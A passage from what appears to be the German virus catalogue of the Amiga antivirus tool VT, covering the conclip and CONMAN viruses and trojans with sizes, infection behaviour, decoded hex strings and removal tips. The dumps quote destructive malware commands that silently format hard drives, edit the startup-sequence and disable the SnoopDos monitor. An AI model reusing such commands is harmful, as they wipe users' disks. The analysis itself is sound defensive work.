  4390.            6c6f636b 20416c6c 6f636174 696f6e20 lock Allocation
  4391.            21200a20 3e3e3e20 5741524e 494e473a ! . >>> WARNING:
  4392.            2044656c 6574696f 6e206f66 20746869  Deletion of thi
  4393.            73206669 6c652063 6f756c64 20006465 s file could .de
  4394.            7374726f 7920616c 6c206469 736b2064 stroy all disk d
  4395.            61746173 20212121 203c3c3c 0a00     atas !!! <<<..
  4396.       Vermehrung:
  4397.        - Test ob unsichtbares File  A0A0A0A0 schon da ist. Wenn
  4398.          ja keine Verseuchung (Fortschritt gegen frueheren
  4399.          Versionen)
  4400.        - Schreibt Virusteil in RootDir (festgelegt mit :)
  4401.        - Besorgt #1006 Bytes Speicher
  4402.        - Versucht :s/startup-sequence zu oeffnen und #1000 Bytes
  4403.          zu lesen. KEIN Test von d0
  4404.        - Schreibt im Speicher 6 Bytes vor die startup-sequence
  4405.          A0A0A0A0200A
  4406.        - Schreibt #1006 Bytes auf Disk
  4407.        - Protect VirusFile und Startup-sequence
  4408.        Fehlerquellen:
  4409.          Da immer #1000 Bytes eingelesen und #1006 Bytes zurueck-
  4410.          geschrieben werden, treten Fehler auf.
  4411.          a) ihre s-seq. war kuerzer, dann wird der Rest mit
  4412.             Speichermuell zurueckgeschrieben und es gibt Meldungen
  4413.             wie xyz not executable weil zufaellig im Speichermuell
  4414.             etwas verwertbares stand.
  4415.          b) Ihre s-seq. war laenger, dann wird ein Teil abgeschnitten
  4416.             und Sie wundern sich, warum z.B. loadwb nicht mehr ge-
  4417.             startet wird.
  4418.        Fehlerquelle2 :
  4419.        Das Virusteil verraet sich nach einem Reset und schreibge-
  4420.        schuetzter Disk mit einem SystemRequest:
  4421.                    Volume
  4422.                    xyz
  4423.                    is write protected
  4424.        VT loescht das VirusFile
  4425.        Bitte denken Sie daran, dass Sie mit einem Editor die 1.Zeile
  4426.        der startup-sequence loeschen muessen. Auf Grund der Fehler-
  4427.        quellen kann es aber auch sein, dass Sie die startup-sequence
  4428.        voellig neu schreiben muessen. Denken Sie bitte daran, dass
  4429.        Sie vorher in VT im Filerequester die startup-sequence un-
  4430.        protecten muessen !!!!
  4431.  
  4432.    - conclip-Virus
  4433.        andere moegliche Namen: ANDY, HEXER
  4434.        Typ A:
  4435.        Laenge gepackt:  3248 Bytes
  4436.        Laenge entpackt: 2872 Bytes  (ja die Zahlen stimmen)
  4437.        KEINE verbogenen Vektoren
  4438.        VT erwartet fuer die Erkennung den Filenamen "conclip"
  4439.        Vermehrung: ja
  4440.        Im entpackten File ist zu lesen z.B.:
  4441.            2940fdac 41fa0006 2008600e 4446303a )@..A... .`.DF0:
  4442.            632f636f 6e636c69 70002940 fdc0202c c/conclip.)@.. ,
  4443.              ;......
  4444.            700f2f00 41fa0006 20086014 416d6967 p./.A... .`.Amig
  4445.            61444f53 20434c49 2d457272 6f720000 aDOS CLI-Error..
  4446.              ;......
  4447.            41fa0006 2008602a 4469736b 20636f72 A... .`*Disk cor
  4448.            72757074 202d2070 6c656173 6520696e rupt - please in
  4449.            73657274 20626f6f 74646973 6b2e2e2e sert bootdisk...
  4450.              ;......
  4451.            fff441fa 00062008 60266563 686f2063 ..A... .`&echo c
  4452.            6f6e636c 6970203e 6466303a 732f7374 onclip >df0:s/st
  4453.            61727475 702d7365 7175656e 63650000 artup-sequence..
  4454.              ;......
  4455.            60387275 6e203e4e 494c3a20 7379733a `8run >NIL: sys:
  4456.            73797374 656d2f66 6f726d61 74203e4e system/format >N
  4457.            494c3a20 44524956 45206864 303a204e IL: DRIVE hd0: N
  4458.            414d4520 414e4459 00002e80 70002f40 AME ANDY....p./@
  4459.        Betroffene Medien: DF0:, DF1:, DH0:, DH1:, HD0: u. HD1:
  4460.        Hinweis: das Conclip-File gibt es wirklich mit anderer Laenge.
  4461.        Ablauf:
  4462.        Ein Fenster wird geoeffnet. Titelleiste: AmigaDOS... siehe oben
  4463.        Ein Text wird ausgegeben: Disk corrupt ... siehe oben
  4464.        conclip wird nach c kopiert.
  4465.        Die startup-seq. wird veraendert. Conclip wird also danach
  4466.        nach jedem Reset aufgerufen.
  4467.        Das Formatieren meiner Festplatte habe ich nicht abgewartet
  4468.        (dos-delay).
  4469.        Es ist noch eine Textausgabe in diesem File, die ich aber nicht
  4470.        auf dem Bildschirm gesehen habe.
  4471.        VT bietet nur Loeschen an. Bitte vergessen Sie nicht, auch die
  4472.        startup-sequence zu aendern.
  4473.        Typ B:
  4474.        bekannte Laengen mehrfach gepackt:   6952 Bytes (Installer)
  4475.                                            11048 Bytes (Installer)
  4476.        Installer-Filenamen sind unbekannt.
  4477.        Laenge mehrfach entpackt:  6096 Bytes
  4478.        KEINE verbogenen Vektoren
  4479.        Mehrfach entpackt und mit "EORI.B #$42,(A2)+" behandelt ist im
  4480.        File zu lesen:
  4481.            6f20746f 20626564 21290a0a 7c7c2042 o to bed!)..|| B
  4482.            45412049 2057494c 4c204e45 56455220 EA I WILL NEVER
  4483.            464f5247 45542059 4f552e20 52455354 FORGET YOU. REST
  4484.            20494e20 58544320 7c7c0a0a 414e4459  IN XTC ||..ANDY
  4485.            20544845 20484558 45522121 0a0a0a0a  THE HEXER!!....
  4486.               ;......
  4487.            fdc87000 4e5d4e75 3a204e41 4d452041 ..p.N]Nu: NAME A
  4488.            4e44595f 49535f42 41434b00 72756e20 NDY_IS_BACK.run
  4489.            3e4e494c 3a207379 733a7379 7374656d >NIL: sys:system
  4490.            2f666f72 6d617420 3e4e494c 3a204452 /format >NIL: DR
  4491.            49564520 00496e73 65727420 626f6f74 IVE .Insert boot
  4492.            6469736b 20696e20 4446303a 004e6f74 disk in DF0:.Not
  4493.            20612044 4f532d64 69736b21 00537973  a DOS-disk!.Sys
  4494.            74656d6d 656c6475 6e67003a 532f5374 temmeldung.:S/St
  4495.            61727475 702d5365 7175656e 6365003a artup-Sequence.:
  4496.            432f436f 6e436c69 70004446 30004446 C/ConClip.DF0.DF
  4497.            31004844 31004448 31004844 30004448 1.HD1.DH1.HD0.DH
  4498.            30005052 4f474449 523a636f 6e636c69 0.PROGDIR:concli
  4499.            7000536e 6f6f7044 6f730053 4e4f4f50 p.SnoopDos.SNOOP
  4500.            444f5300 74ff4e75 4e7541fa 0060216f DOS.t.NuNuA..`!o
  4501.        Aenderungen bei Typ B:
  4502.          Schreibt jetzt ConClip
  4503.          Testet auf SnoopDos
  4504.          Schreibt nach Speicherstelle #$0  HELP
  4505.          Schreibt nach Speicherstelle #$100
  4506.             0100: DEADBABE BEA0FACE
  4507.          Dieser Text erscheint bei mir nach einem Tastaturreset
  4508.          auch in einem Alert.
  4509.          Wenn Sie einige Zeit warten, wird eine Graphik ausgegeben:
  4510.           - dunkler Hintergrund
  4511.           - in sehr grossen Buchstaben  HEXER  (rot ausser X ist blau)
  4512.           - in kleineren, hellen Buchstaben darunter:
  4513.              ANDY THE HEXER IS BACK...
  4514.          Spielen Sie den Original-conclip-Befehl nach c: und ueber-
  4515.          pruefen Sie auch ihre Startup-sequence.
  4516.  
  4517.    - Condom1.5-Trojan   siehe bei Joker-Trojan Typ B
  4518.  
  4519.    - ConfTop-Trojan   gegen AmiExpress
  4520.           Laenge ungepackt: Conftop.000  38322 Bytes
  4521.                             Conftop.020  38300 Bytes
  4522.        Falls es zu Verwechslungen mit einem echten Conftop-Prg kommt,
  4523.        rufen Sie mich bitte an und schicken mir ein Orig-ConfTop zu.
  4524.        Das Verhalten wurde nicht getestet, da ich kein AmiExpress habe.
  4525.        Fremdaussage:
  4526.        Entscheiden Sie selbst !!!!!!
  4527.          @BEGIN_FILE_ID.DIZ
  4528.          FAKE FAKE FAKE FAKE FAKE FAKE FAKE FAKE FAKE
  4529.          --------------------------------------------
  4530.          BOBO/MYSTIC SAYS : I *NEVER* RELEASED THE
  4531.          CONF-TOP! NUKE AND BEAWARE OF THE FILE :
  4532.          'MST-CF22.LHA'!!!.. IT *MAY* FORMAT YOU'RE
  4533.          HD! A BACKDOOR IS FOR SURE!!! IT'S AN OLD
  4534.          VERSION OF CONFTOP! /BOBO oF MYStIC!
  4535.          @END_FILE_ID.DIZ
  4536.  
  4537.          What?!... Ok... It goes like this!... The file 'MST-CF22.LHA'
  4538.          is a F A K E!
  4539.          I never done that! it's probably a hd crasher!... So DON'T use it!
  4540.          and NUKE it on every board!
  4541.  
  4542.  
  4543.   - CONMAN-4EB9-Virus     Link-File
  4544.        Typ A:
  4545.        Filename: hack
  4546.        Laenge : 4388 Bytes
  4547.        Nach FileID:  MASTER AMIEX ONLINE PW HACKER
  4548.        So etwas ist auch am Fileende zu lesen.
  4549.        VT bietet nur loeschen an, weil der 2. Teil nur ein Dummy ist.
  4550.        Es wurden mit der 4eb9-Methode zwei Teile zusammengelinkt.
  4551.        Im entpackten 1.Teil ist zu lesen:
  4552.                     433a4449 52007261 6d6c6962     C:DIR.ramlib
  4553.            0052414d 00426163 6b47726f 756e645f .RAM.BackGround_
  4554.            50726f63 65737300 4c3a4661 73744669 Process.L:FastFi
  4555.            6c655379 7374656d 004c4942 533a6761 leSystem.LIBS:ga
  4556.            64746f6f 6c732e6c 69627261 72790057 dtools.library.W
  4557.            6f726b62 656e6368 00434c49 2830293a orkbench.CLI(0):
  4558.            6e6f2063 6f6d6d61 6e64206c 6f616465 no command loade
  4559.            6400434c 49283129 3a6e6f20 636f6d6d d.CLI(1):no comm
  4560.            616e6420 6c6f6164 65640043 4f4e0052 and loaded.CON.R
  4561.            414d0044 46300052 414d0061 64646275 AM.DF0.RAM.addbu
  4562.            66666572 7300434f 4e004c49 42533a72 ffers.CON.LIBS:r
  4563.            65712e6c 69627261 72790000 00000000 eq.library......
  4564.               ;.....
  4565.                              433a0000 5359533a         C:..SYS:
  4566.            544f4f4c 532f0000 5359533a 5554494c TOOLS/..SYS:UTIL
  4567.            49544945 532f0000 5359533a 50524546 ITIES/..SYS:PREF
  4568.            532f0000 5359533a 4c494253 2f00     S/..SYS:LIBS/.
  4569.        Ablauf:
  4570.         Es wird ein Prozess eingerichtet. Der Prozessname wird in Ab-
  4571.         haengigkeit von $DFF006 aus der Liste (s.o.) ausgewaehlt.
  4572.         Mit diesem Prozess sollen verschiedene Unterverzeichnisse (s.o.)
  4573.         verseucht werden. Es wird mit der 4EB9-Methode ein Conman-Teil
  4574.         an die Files angelinkt. Eine Mehrfachverseuchung soll vermieden
  4575.         werden, indem auf "4EB9 schon vorhanden" geprueft wird. Das Teil
  4576.         mag auch nicht alle Hunktypen am Ende. 
  4577.         Nach einem DosDelay (wieder abhaengig von $DFF006) startet das
  4578.         Ganze neu.
  4579.         Der staendige Zugriff MUSS auffallen !!!!!!!!
  4580.         Bei meinen Tests stand der Prozess SEHR selten in der WAIT-Liste.
  4581.         Es besteht also die Gefahr, dass VT den Prozess im Speicher NICHT
  4582.         findet.
  4583.        Typ B:
  4584.        Filename: Bloody.exe
  4585.        Laenge:  25560
  4586.        Hauptunterschied zu Typ A:
  4587.            7900433a 00000000 00000000 00000000 y.C:............
  4588.            00000000 00000000 00000000 00000000 ................
  4589.        Es sollen also nur Files in C: verseucht werden.
  4590.  
  4591.   - CONMAN-4EB9  Trojan    Zerstoerung
  4592.        Filename: abhaengig was z.B. in C: steht.
  4593.        Laenge: Ursprungsfilelaenge + #1836 Bytes
  4594.        VT versucht den Ausbau. (denken Sie bitte aber an die "falschen"
  4595.        Aenderungen s.o.)
  4596.        Mit der 4EB9-Methode hat sich ein Conman-Teil an ein File angelinkt
  4597.        (s.o.).
  4598.        Im entpackten 2.Link ist zu lesen:
  4599.                     433a4449 52007261 6d6c6962     C:DIR.ramlib
  4600.            00444630 00426163 6b47726f 756e645f .DF0.BackGround_
  4601.            50726f63 65737300 4c3a4661 73744669 Process.L:FastFi
  4602.            6c655379 7374656d 004c4942 533a6761 leSystem.LIBS:ga
  4603.            64746f6f 6c732e6c 69627261 72790057 dtools.library.W
  4604.            6f726b62 656e6368 00434c49 2830293a orkbench.CLI(0):
  4605.            6e6f2063 6f6d6d61 6e64206c 6f616465 no command loade
  4606.            6400434c 49283129 3a6e6f20 636f6d6d d.CLI(1):no comm
  4607.            616e6420 6c6f6164 65640043 4f4e0052 and loaded.CON.R
  4608.            414d0044 46300052 414d0061 64646275 AM.DF0.RAM.addbu
  4609.            66666572 7300434f 4e004c49 42533a72 ffers.CON.LIBS:r
  4610.            65712e6c 69627261 72790000          eq.library..
  4611.                ;.....
  4612.                              434f4e4d 414e2056         CONMAN V
  4613.            49525553 20313939 3500646f 732e6c69 IRUS 1995.dos.li
  4614.            62726172 7900646f 732e6c69 62726172 brary.dos.librar
  4615.            79004446 30004446 31004446 32004446 y.DF0.DF1.DF2.DF
  4616.            33005241 4d005241 44000000          3.RAM.RAD...
  4617.        Ablauf:
  4618.         Es wird ein Prozess eingerichtet. Der Prozessname wird in Ab-
  4619.         haengigkeit von $DFF006 aus der Liste (s.o.) ausgewaehlt. Das
  4620.         Prozessor-DosDelay wird wieder ueber $DFF006 festgelegt.
  4621.         Dieser Prozess soll auf den Laufwerken (DF0 usw.) einzelne
  4622.         Files auswaehlen (wieder mit $DFF006) und in diese "CONMAN
  4623.         Virus 1995" schreiben. Diese Files waeren dann unbrauchbar.
  4624.         Diese Files habe ich bei Tests NIE gesehen. Zum Glueck hat
  4625.         sich bei mir der Prozess IMMER mit GURU verabschiedet !!!
  4626.        Hinweis zum Ausbau: Bitte ueberlegen Sie, ob es nicht ver-
  4627.        nuenftiger ist, von einer Original-WB-Disk das c-Verzeichnis
  4628.        zu kopieren. VT braucht dann nur die Befehle zu bearbeiten, die
  4629.        nicht vom Original-C-Verzeichnis kommen. VT versucht auch die
  4630.        "falschen" Aenderungen (s.o.) rueckgaengig zu machen.
  4631.  
  4632.   - CONMAN-BBS-Trojan      Laenge gesamt: 50288 Bytes
  4633.        Typ A:
  4634.        Trojan-Teil gepackt:  2704 Bytes
  4635.        Trojan-Teil entpackt: 2496 Bytes
  4636.        Ein $4EB9-$4EF9-Link an ARTM 2.3 .
  4637.            4f4b2021 00000000 414d4947 41205265 OK !....AMIGA Re
  4638.            616c7469 6d65204d 6f6e6974 6f722056 altime Monitor V
  4639.            322e3320 44617465 2039332f 31312f31 2.3 Date 93/11/1
  4640.            3100434f 50595249 47485420 42592054 1.COPYRIGHT BY T
  4641.        Nach meinem Wissensstand gibt es im Nov. 93 diese Versions-
  4642.        nummer noch gar nicht. Es handelt sich um eine V1.6 .
  4643.        Namensbegruendung:  decodiert ist im Speicher zu lesen:
  4644.            434f4e4d 414e2f48 41434b4d 41535445 CONMAN/HACKMASTE
  4645.            522f3933 2f54524f 4a414e2d 56495255 R/93/TROJAN-VIRU
  4646.            53092e2e 00000000 00000000 00000000 S...............
  4647.        Das Gesamtfile lauft nur auf Prozessoren ab 68020 ohne GURU,
  4648.        da im Trojan-Teil ungerade Adressen verwendet werden.
  4649.        Schaeden:
  4650.         Sucht nach USER.KEYS und USER.DATA. Diese Files sollen mit
  4651.         dosopen, dosread, doswrite und dosclose bearbeitet werden.
  4652.        Hinweis: Es wird das $4EB9-$4EF9-Link-Programm gesucht. Da
  4653.        Ende Nov 93 schlagartig mehrere solche Links aufgetaucht sind,
  4654.        vermute ich, das es dafuer ein Programm gibt. Das Link-Prg.
  4655.        scheint nicht sehr gut zu sein . Siehe Hinweis 2
  4656.        Hinweis 2: VT bietet Ausbau an. ABER !!!!!!
  4657.              ARTM1.6-Orig                  ARTM2.3-Link
  4658.        000: 000003ec 0000018a ........ 000: 000003ec 0000018a ........
  4659.        008: 00000001 000046be ......F. 008: 00000005 0000009c ........
  4660.        010: 0000469c 000011ac ..F..... 010: 000000cc 000000e6 ........
  4661.        018: 000008c0 000008bc ........ 018: 00000104 00000132 .......2
  4662.        020: 00002100 000020fc ..!... . 020: 0000014e 0000020c ...N....
  4663.        028: 000020f8 000020f4 .. ... . 028: 00000210 00000220 .......
  4664.        030: 000020f0 000020ec .. ... . 030: 00000224 00000234 ...$...4
  4665.        Es werden also voellig wirre Zahlen in die 3EC-Hunks geschrieben.
  4666.        VT stellt zwar die Hunkzahl bei $8 (5 wird zu 1) richtig, ueber-
  4667.        nimmt aber die geaenderten FALSCHEN Werte. Die uneingeschraenkte
  4668.        Lauffaehigkeit des Prg.s wird angezweifelt. Besser Sie loeschen
  4669.        das gelinkte ARTM-Prg. ganz und besorgen sich ein Orig-ARTM .
  4670.  
  4671.    - CONMAN-BBS-Trojan  Typ B
  4672.        Maerz 94: Es sollen mehrere Files aufgetaucht sein, in denen
  4673.        Conman zu lesen ist. Es soll versucht werden, user.data zu ver-
  4674.        aendern. Da bisher immer mit 4EB9-4EF9-Links gearbeitet wurde,
  4675.        seien Sie bitte etwas vorsichtig, falls VT dies anzeigt. Gefahr
  4676.        besteht aber nur fuer AMI-BBS .
  4677.  
  4678.    - CONMAN-BBS-Trojan  Typ C    Laenge 1432 oder 1676 Bytes
  4679.        Wurde gefunden in Best-Boxes (L:14608 Bytes)
  4680.        War $4EB9-Link
  4681.  
  4682.    - CONMAN-Dir-Trojan   File
  4683.        gepackt: 4004 Bytes   VT bietet bei Filetest Loeschen an.
  4684.        entpackt: 8456 Bytes  VT bietet bei Filetest Ausbau an.
  4685.        KS2.04 mit 68030: ja
  4686.        VT sollte den Process im Speicher finden. VT bietet Loeschen
  4687.        an. Sie muessen mit GURU rechnen.
  4688.        Haengt an einem Dir-Befehl. Das RTS im Dir-Befehl wurde durch
  4689.        ein JMP Virusteil ersetzt (von Hand ?). Im Virusteil wird
  4690.        jsr -$xy(A5) verwendet. 
  4691.        Im Speicher ist zu lesen:
  4692.            576f726b 62656e63 68200064 6f732e6c Workbench .dos.l
  4693.            69627261 72790069 6e747569 74696f6e ibrary.intuition
  4694.            2e6c6962 72617279 00444630 3a432f44 .library.DF0:C/D
  4695.            49520043 3a444952 00444556 533a5359 IR.C:DIR.DEVS:SY
  4696.            5354454d 2d434f4e 46494755 52415449 STEM-CONFIGURATI
  4697.            4f4e0043 3a4c4f41 44574200 4c3a5241 ON.C:LOADWB.L:RA
  4698.            4d2d4841 4e444c45 5200536e 6f6f7044 M-HANDLER.SnoopD
  4699.            6f7300b6 b6b6b6b6 b6b6b6b6 b6b6b6b6 os..............
  4700.         Ablauf:
  4701.          - SnoopDos wird gesucht und falls gefunden abgeschaltet.
  4702.            (Signal)
  4703.          - Ein Process mit Namen "Workbench " wird angelegt.
  4704.         Vermehrung:                        ^
  4705.          Das Virusteil wird nach $70000 im Speicher kopiert und von
  4706.          da als Dir geschrieben.
  4707.         Schaeden:
  4708.          Sobald eine Zaehlzelle den Wert 7 erreicht hat wird geloescht:
  4709.           - devs:system-configuration
  4710.           - c:loadwb
  4711.           - l:ram-handler
  4712.          Danach wird ein Text mit
  4713.                     move.b (a0)+,(a1)+
  4714.                     eori.b #$96,(a0)
  4715.          decodiert und mit DisplayAlert ausgegeben.
  4716.            20202020 20205448 49532049 53204e4f       THIS IS NO
  4717.            54204120 53595354 454d2041 4c455254 T A SYSTEM ALERT
  4718.            21205448 49532049 53205448 45204e45 ! THIS IS THE NE
  4719.            5720434f 4e4d414e 2d54524f 4a414e20 W CONMAN-TROJAN
  4720.            56495255 53212020 20202020 20202020 VIRUS!
  4721.                 ;....
  4722.            20202041 4c4c2044 49534b20 41435449    ALL DISK ACTI
  4723.            56495449 45532057 494c4c20 42452044 VITIES WILL BE D
  4724.            49534142 4c454421 20202020 20202020 ISABLED!
  4725.                 ;usw.
  4726.          Zuletzt geht das Programm in eine Endlosschleife. D.h. Sie
  4727.          muessen einen Tastatur-Reset ausfuehren.
  4728.  
  4729.    - CONMAN-Dir-Inst ????
  4730.          VT glaubt (!!!!!!!! aber NICHT sicher) ein File gefunden zu
  4731.          haben, an das mit der $4EB9-4EF9-Methode ein Virusteil an-
  4732.          gelinkt wurde. Loeschen Sie also bitte nicht sofort das File,
  4733.          sondern untersuchen Sie zuerst das Teil. Falls das File ge-
  4734.          packt ist, dann entpacken Sie es mit einem Entpacker ihrer
  4735.          Wahl. Falls Sie nun mit einem Filemonitor oder mit VT-Filereq
  4736.          das File anschauen und den Text CONMAN finden, so duerfte
  4737.          es sich um ein verseuchtes File handeln. Fuer die Zusendung
  4738.          waere ich dankbar (vorher anrufen).
  4739.  
  4740.    - CONMAN-format      Zerstoerungsfile
  4741.      CONMAN-P-4EB9-Form.
  4742.      CONMAN-P-Format
  4743.        Filename: z.B. Best-Boxes
  4744.        Filelaengen: 14092, 14608, 13128, oder 13728 Bytes
  4745.        KS1.3 nein (LockPubScreen)
  4746.        Keine verbogenen Vektoren
  4747.        Keine Vermehrung
  4748.        VT bietet Loeschen an.
  4749.        Im File ist entpackt (falls notwendig) zu lesen:
  4750.                    43442d52 4f4d0000              CD-ROM..
  4751.             ;.....
  4752.           44463000 44463100 44463200 44463300 DF0.DF1.DF2.DF3.
  4753.           52414d00 52414400 52414d3a 46005241 RAM.RAD.RAM:F.RA
  4754.           4d3a5200                            M:R.
  4755.             ;.....
  4756.           204e414d 4520434f 4e4d414e 5f30204e  NAME CONMAN_0 N
  4757.           4f49434f 4e530000 52414d3a 52203e4e OICONS..RAM:R >N
  4758.           494c3a20 52414d3a 46204452 49564520 IL: RAM:F DRIVE
  4759.        Ablauf:
  4760.        Das Teil hat KEINE Wartezeit.
  4761.        Das Teil richtet einen Prozess ein (CD-ROM). Diesen Prozess kann
  4762.        VT NICHT finden, da er nach einem Durchlauf sofort wieder ver-
  4763.        schwindet.
  4764.        Der Bildschirm wird dunkel geschaltet (SetRGB). Das MUSS auf-
  4765.        fallen.
  4766.        Das Teil enthaelt zwei gepackte Original-C-Befehle (run, format),
  4767.        die nach RAM: (R, F) kopiert werden.
  4768.        Danach wird der Execute-Befehl mit RAM:R >NIL ...usw. siehe oben
  4769.        aufgerufen.
  4770.        Ohne angemeldete RAM: geht es nicht.
  4771.        Betroffene LWe sollen sein: DF0: - RAD:  siehe oben
  4772.  
  4773.    - CONMAN-HD-FAKER      Zerstoerungsfile
  4774.        Moeglicher Filename: keymaker
  4775.        da am Fileende zu lesen ist:
  4776.        USAGE:KEYMAKER -i -a <REGISTRATION-NAME> <DEST> usw.
  4777.        Filelaenge: 1596 Bytes
  4778.        Keine verbogenen Vektoren
  4779.        Keine Vermehrung
  4780.        VT bietet nur Loeschen an, da der keymaker-teil KEINE Funktion
  4781.        erfuellt.
  4782.        Mit der 4EB9-Methode wurden zwei Teile zusammengelinkt.
  4783.        Das Virusteil (1.Link) ist noch gepackt.
  4784.        Entpackt ist in diesem Teil zu lesen:
  4785.           11534353 492d4844 2d46414b 45522057 .SCSI-HD-FAKER W
  4786.           52495454 454e2042 5920434f 4e4d414e RITTEN BY CONMAN
  4787.              ;...
  4788.           72617279 00736373 692e6465 76696365 rary.scsi.device
  4789.           0a006776 70736373 692e6465 76696365 ..gvpscsi.device
  4790.           0a006d61 78786f6e 2e646576 6963650a ..maxxon.device.
  4791.           0000616c 66736373 692e6465 76696365 ..alfscsi.device
  4792.           0a00636f 6e6d616e 0a00300a 00000000 ..conman..0.....
  4793.        Schaden:
  4794.        Nach bestimmten devices (s.o.) wird gesucht und dann der Rigid-
  4795.        Disk-Block codiert zurueckgeschrieben. Eine Decodierung ist
  4796.        NICHT moeglich. Da Sie aber ja schon vor laengerer Zeit mit
  4797.        VT ein Backup dieses Bereichs angefertigt haben, brauchen Sie
  4798.        das Teil nur zurueckzuspielen, nachdem Sie mit der HDTOOLBox die
  4799.        Festplatte wieder angemeldet haben. Nicht schlecht waere vielleicht
  4800.        auch ein Ausdruck von VT-LWInfo, damit Sie die richtige Zylinderzahl
  4801.        usw. eintragen koennen.
  4802.        Am Ende der Zerstoerungsroutine wird ein Alerttest ausgegeben:
  4803.        "SCSI-HD..."usw. siehe oben
  4804.  
  4805.    - CONMAN-HYPER-Trojan       Einbruchswerkzeug in BBS
  4806.        Typ A:
  4807.        Laenge gepackt:   1948 Bytes
  4808.        Laenge ungepackt: 1380 Bytes
  4809.        Z.B. vor WorldClock (siehe unten) gelinkt.
  4810.        Im File ist zu lesen:
  4811.           00000000 00000000 00000000 4242533a ............BBS:
  4812.           55534552 2e444154 41004242 533a5553 USER.DATA.BBS:US
  4813.           45522e4b 45595300 646f732e 6c696272 ER.KEYS.dos.libr
  4814.           61727900 41452e4d 61737465 7200434f ary.AE.Master.CO
  4815.           4e4d414e 00000000 00000000 00000000 NMAN............
  4816.           ;......
  4817.           00000000 00008948 59504552 00000000 .......HYPER....
  4818.        Keine verbogenen Vektoren.
  4819.        Kein neuer Process im Speicher.
  4820.        Kein Befehl wird ins C-Verzeichnis geschrieben.
  4821.        Das Teil ist "nur" fuer Sysops gefaehrlich.
  4822.        VT bietet Loeschen an, falls Sie das Teil je einzeln finden.
  4823.        Das Teil schreibt fuer die Selbsterkennung #$2B mach $00000000.
  4824.        Das Teil sucht nach einem AE.Master-Port. Falls nicht gefunden,
  4825.        Ende. Danach wird versucht USER.DATA und USER.KEYS auszulesen.
  4826.  
  4827.    - CONMAN-Iprefs-Inst.       File
  4828.        Filename: HACKT.EXE
  4829.        Laenge gepackt:  12692 Bytes
  4830.        Laenge entpackt: 12312 Bytes
  4831.        KEINE verbogenen Vektoren
  4832.        NICHT resetfest
  4833.        VT bietet nur Loeschen an, da nichts sinnvolles im File ist.
  4834.        Im entpackten File wurden mit der $4EB9-4EF9-Methode ein "Dunkel-
  4835.        schalter" und ein verseuchtes Iprefs zusammengelinkt.
  4836.        Ablauf bei mir:
  4837.        - Bildschirm dunkel schalten
  4838.        - verseuchtes Iprefs nach c: kopieren
  4839.        - nach kurzer Zeit Reset (dadurch wird Iprefs aus startup-seq
  4840.          aufgerufen).
  4841.  
  4842.    - CONMAN-Iprefs-Trojan      File
  4843.        Filename: Iprefs
  4844.        Laenge gepackt:  10820 Bytes
  4845.        Laenge entpackt: 14216 Bytes
  4846.        KEINE verbogenen Vektoren
  4847.        NICHT resetfest
  4848.        Kann sich NICHT weiterkopieren
  4849.        VT bietet nur Loeschen an, da jeder auf der Orig-WB-Disk ein
  4850.        sauberes Iprefs-File hat.
  4851.        Im Iprefsfile befindet sich mit der $4EB9-4EF9-Methode zusammen-
  4852.        gelinkt zuerst Iprefs und DANACH das Trojanteil.
  4853.        Trojanteil noch einmal gepackt: 1184 Bytes
  4854.        Trojanteil entpackt:            1584 Bytes
  4855.        Im entpackten Trojanteil ist zu lesen:
  4856.           722941f9 00000274 20fc2043 4f4e20fc r)A....t . CON .
  4857.           4d414e20 20fc3139 393551c9 ffec13fc MAN  .1995Q.....
  4858.            ;.......
  4859.           74726163 6b646973 6b2e6465 76696365 trackdisk.device
  4860.           0000636f 6e6d616e 2e646576 69636500 ..conman.device.
  4861.           646f732e 6c696272 61727900 000003ec dos.library.....
  4862.        Schadensverlauf:
  4863.        - Zuerst wird das Iprefsteil ausgefuehrt.
  4864.        - Danach wird das Trojanteil aktiviert.
  4865.        - Startet Prozess  Prozessname: conman.device
  4866.          Dieser Prozess versucht ueber trackdisk.device (also nur Disk),
  4867.          Block 880, 882 und andere Blocknummern in Abhaengigkeit von
  4868.          $DFF006 zu zerstoeren. Fuer eine Testdisk habe ich 10 Min. ge-
  4869.          braucht. Danach war KEIN Prg. mehr lauffaehig.
  4870.          Im zerstoerten Block ist zu lesen:
  4871.              Block:     882
  4872.            0000: 00434f4e 4d414e20 31393935 20434f4e .CONMAN 1995 CON
  4873.            0010: 4d414e20 31393935 20434f4e 4d414e20 MAN 1995 CONMAN
  4874.            0020: 31393935 20434f4e 4d414e20 31393935 1995 CONMAN 1995
  4875.                  ;usw.
  4876.          Sie sehen, da ist nichts mehr zu retten. Tut mir leid. Warum
  4877.          ein zerstoerter Block bei mir IMMER mit $0 anstatt $20 beginnt?
  4878.          Keine Ahnung.
  4879.        VT versucht den Prozess abzuschalten. Sie muessen aber mit einem
  4880.        Guru rechnen. Danke
  4881.  
  4882.    - CONMAN-LoadWB-Inst.       File
  4883.        Typ A:
  4884.        Filename:recode
  4885.        Filelaenge ungepackt: 12088 Bytes
  4886.        Keine verbogenen Vektoren
  4887.        Nicht resetfest
  4888.        Es werden Befehle aus der dos.lib verwendet (inhibit, format), die
  4889.        erst ab KS #37 vorhanden sind.
  4890.        Mit der 4EB9-Methode wurden ein Programm (Cable) und das Trojan-
  4891.        teil zusammengelinkt.
  4892.        Im File ist zu lesen:
  4893.             61727900 434c4928 30293a6e 6f20636f ary.CLI(0):no co
  4894.             6d6d616e 64206c6f 61646564 00433a4c mmand loaded.C:L
  4895.             6f616457 42000000                   oadWB...
  4896.        VT bietet Ausbau an. Es sollte ein PP-gepacktes File mit der
  4897.        Laenge 9176 Bytes entstehen. Was man mit dem Cable-Prg V0.8
  4898.        machen kann ? Keine Ahnung.
  4899.        Ablauf:
  4900.        Suche nach CLI(0)-Prozess. Falls da Ende
  4901.        Lege Prozess im Speicher an.
  4902.        Loadwb wird geschrieben. s.u. CONMAN-LoadWB-Troj.
  4903.        Zeitpause
  4904.        Reset ueber Exec.lib
  4905.        Typ B:
  4906.        Filename:QUARTEX
  4907.        Filelaenge ungepackt: 24596 Bytes
  4908.        Filelaenge ausgebaut: 21712 Bytes
  4909.        Es handelt sich um einen Filemonitor. Richtiger Name: HEX
  4910.        Rest siehe bei Typ A
  4911.  
  4912.    - CONMAN-LoadWB-Trojan    File
  4913.        Filelaenge gepackt:  2088 Bytes
  4914.        Filelaenge entpackt: 2124 Bytes
  4915.        VT bietet nur loeschen an. Jeder sollte einen Original-LoadWB
  4916.        auf einer Disk an einem sicheren Ort haben.
  4917.        Bei einem Vergleich mit der VT-Funktion finden sie nach dem
  4918.        Entpacken: (Die Verschiebung um vier ist notwendig, da im Trojan-
  4919.        file im Header ein Hunk mehr eingetragen ist)
